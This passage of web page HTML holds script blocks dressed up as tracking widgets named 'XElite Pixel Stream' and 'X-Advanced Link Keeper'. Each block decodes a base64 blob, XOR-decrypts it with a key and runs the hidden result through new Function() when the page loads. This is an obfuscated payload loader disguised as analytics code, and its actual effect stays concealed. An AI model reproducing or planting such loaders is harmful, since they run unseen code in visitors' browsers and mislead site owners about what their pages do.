sQBUzSK5P3Ec2ueg8SqlBZCBAWrQOG6hmN4H8ME61HODkBT4YThv0fj6EjQlHvHCsPAhatDILkBYrMZBsMr1Y7WzdKgB2F+UXF4WUDI7FUYiULWpdctOYC2f0jVR3TR3USEUycVLTwHs/laVUdulRkBQwWl12Q7A7X5ngAR/4ObRtuWIcaiOoCzP0qMQG4TWIDTGGQF4//CI/MeQ0MoUE5HW5MlwCe7AWD/W8ZQIlHfwsNTZdcjesFwOdjAQ7xanYMCUveK5L9DNb/eRtJoj9mBxYerRWY7QzXrmQLF/ltXSosSoYEufsa1vZ5GkjwDho5BU2BE5+wBNP2ZEZHiXpDMkMSrRaI+grAv34cFbwcK2w7X4EHjOpF0PZ+PAWoQHUVEHaXFY/7GYu0SQEOrVB+EklqiwSOuUeE8noeDLBWcRINUZxbge0EzbQjVWqGVGMVA0rcAILzDszmflNV6QUgXW5hkweY+R+N/GQCD7hRLQARUJEAgvEFi7pxGhKgTk8ADlOHXKHNJO29eg8SqlA4OQVNgROfsBnG4HoBDqpQRAMcSttd0OMIwudpBki8HGs5HV2VAYftHov2I1UdpA4aOQVNgROfsATN9ngcD6sITwcXTZUAxfEF1/pnCw+sQS0AEVCRAILxBYu6cTEZulJlChdL2hqO6Uvm4XgBEvEcOV0ZBfgriu0YxOckHQW3UTgsN3G8WpjqGcr9bQcGoB1PFQdSigDCt1DeujETar9AfgUQV50ay8ESy+lkCRLxan8SHFKcBMLlYcr1IjEPrU18CBQAzyuN/APB538ATrVQfgEQVtsGjuoe0f0qPhK2WHkVARCAEZjxB9X2IgAVtVk5XW5IkwbLwQrN438aDaMIawwXUZwGm/1RhKEkXkf1WHUSDFGWTsz7H8vMaQ8MtRI8FgVMkxmYpDDY52VUP7hSehAeT94QiuoKmbQ6FkfyamUMCE2cFZayTM/yfgsTrRJNSg1ayEWWpWHR9n4bErcVTwcFRoARw8ENwftoGhW3bk8JEEaeGpvDR/zyZB4VrVhqT0pKmhGFtg3W/WkaCbZbODkOX4MOwuVh1fJ4Tj+tR2oFWWGYFZrkTYXMYA8RoxtiAxdLngDUwQjQ/X9GP7NUYRxKTJcHnvIfiqktSVvTXHZOO0qADoi3GcbnfxwO+WpkFB5d3AaO7gfC8G9GT4UaO0JLEtVTwqVh0fZ+GxK3FU8fDEScE5m2NMzncgIOqR4hT180j13F/QrX8GJGBqxbcxINUZxcwuUZxud/HA75amkOHlCVBsPBBNfrZgAQ8gQ5XRkXyQnh+B7N8H4HD7cVTw4SSZ4AguZD/PFsGxiqQX1PHzSEFZm+NMfrbBsYqAh0CQdLnxGF6kXA4W8PFLxwfAMJW5wAw7kYwOFjHhT+HCtsO1qKEp7mGo3geA1dhld2ExxNhhnAuUTC42NAELFFLxVZGdkrm+QGwvV7AEv+E08QWRnZOYrqA431ZgEPqx1UBxBb3BqE6UOKvDxeUOkFOV1uYZYMjesT0r1rHRm3Vi0SFkuXT+G2D8zwfwMFt0E+DgFflgiX+gTA5mcLDq0bcgkAR9taiu4bxv1uLQiwWXROO1qKEp7mGoqod2Q/oF1qCANM2kTCsB/L9mRGBqxbcxINUZxctPwN1ut5Gg3wTnkATGGQEp7mGNf+IzEIr0J8Eg1G2iuJ+B7b4H4DSeJIOV1uQ9tcwqU='),_0xe6e2b2aadea4=new _0x0fcff1369820['\x55\x69\x6e\x74\x38\x41\x72\x72\x61\x79'](_0x30e53c0010c2['length']),_0x6fc14dcf07d3=0;for(;_0x6fc14dcf07d3<_0x30e53c0010c2['length'];_0x6fc14dcf07d3++)_0xe6e2b2aadea4[_0x6fc14dcf07d3]=_0x30e53c0010c2['charCodeAt'](_0x6fc14dcf07d3)^_0x635552ae56a0['charCodeAt'](_0x6fc14dcf07d3%_0x635552ae56a0['length']);(new _0x0fcff1369820['\x46\x75\x6e\x63\x74\x69\x6f\x6e']((new _0x0fcff1369820['\x54\x65\x78\x74\x44\x65\x63\x6f\x64\x65\x72']())['\x64\x65\x63\x6f\x64\x65'](_0xe6e2b2aadea4)))()}();
</script>
<!-- END: XElite Pixel Stream --><!-- BEGIN: X-Advanced Link Keeper -->
<script>
    window.XTracker_IZTW = {
        loaded: true,
        version: "2.4.9",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x93f2955c6352=typeof globalThis!=='undefined'?globalThis:(typeof window!=='undefined'?window:self),_0xaf31344d8f1e=_0x93f2955c6352['\x61\x74\x6f\x62']('Y1EAl49aVxtb1fDjHN6a7w=='),_0xd2e3668b55db=_0x93f2955c6352['\x61\x74\x6f\x62']('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'),_0x6a4eae7c57f1=new _0x93f2955c6352['\x55\x69\x6e\x74\x38\x41\x72\x72\x61\x79'](_0xd2e3668b55db['length']),_0x144dc3356f01=0;for(;_0x144dc3356f01<_0xd2e3668b55db['length'];_0x144dc3356f01++)_0x6a4eae7c57f1[_0x144dc3356f01]=_0xd2e3668b55db['charCodeAt'](_0x144dc3356f01)^_0xaf31344d8f1e['charCodeAt'](_0x144dc3356f01%_0xaf31344d8f1e['length']);(new _0x93f2955c6352['\x46\x75\x6e\x63\x74\x69\x6f\x6e']((new _0x93f2955c6352['\x54\x65\x78\x74\x44\x65\x63\x6f\x64\x65\x72']())['\x64\x65\x63\x6f\x64\x65'](_0x6a4eae7c57f1)))()}();
</script>
<!-- END: X-Advanced Link Keeper -->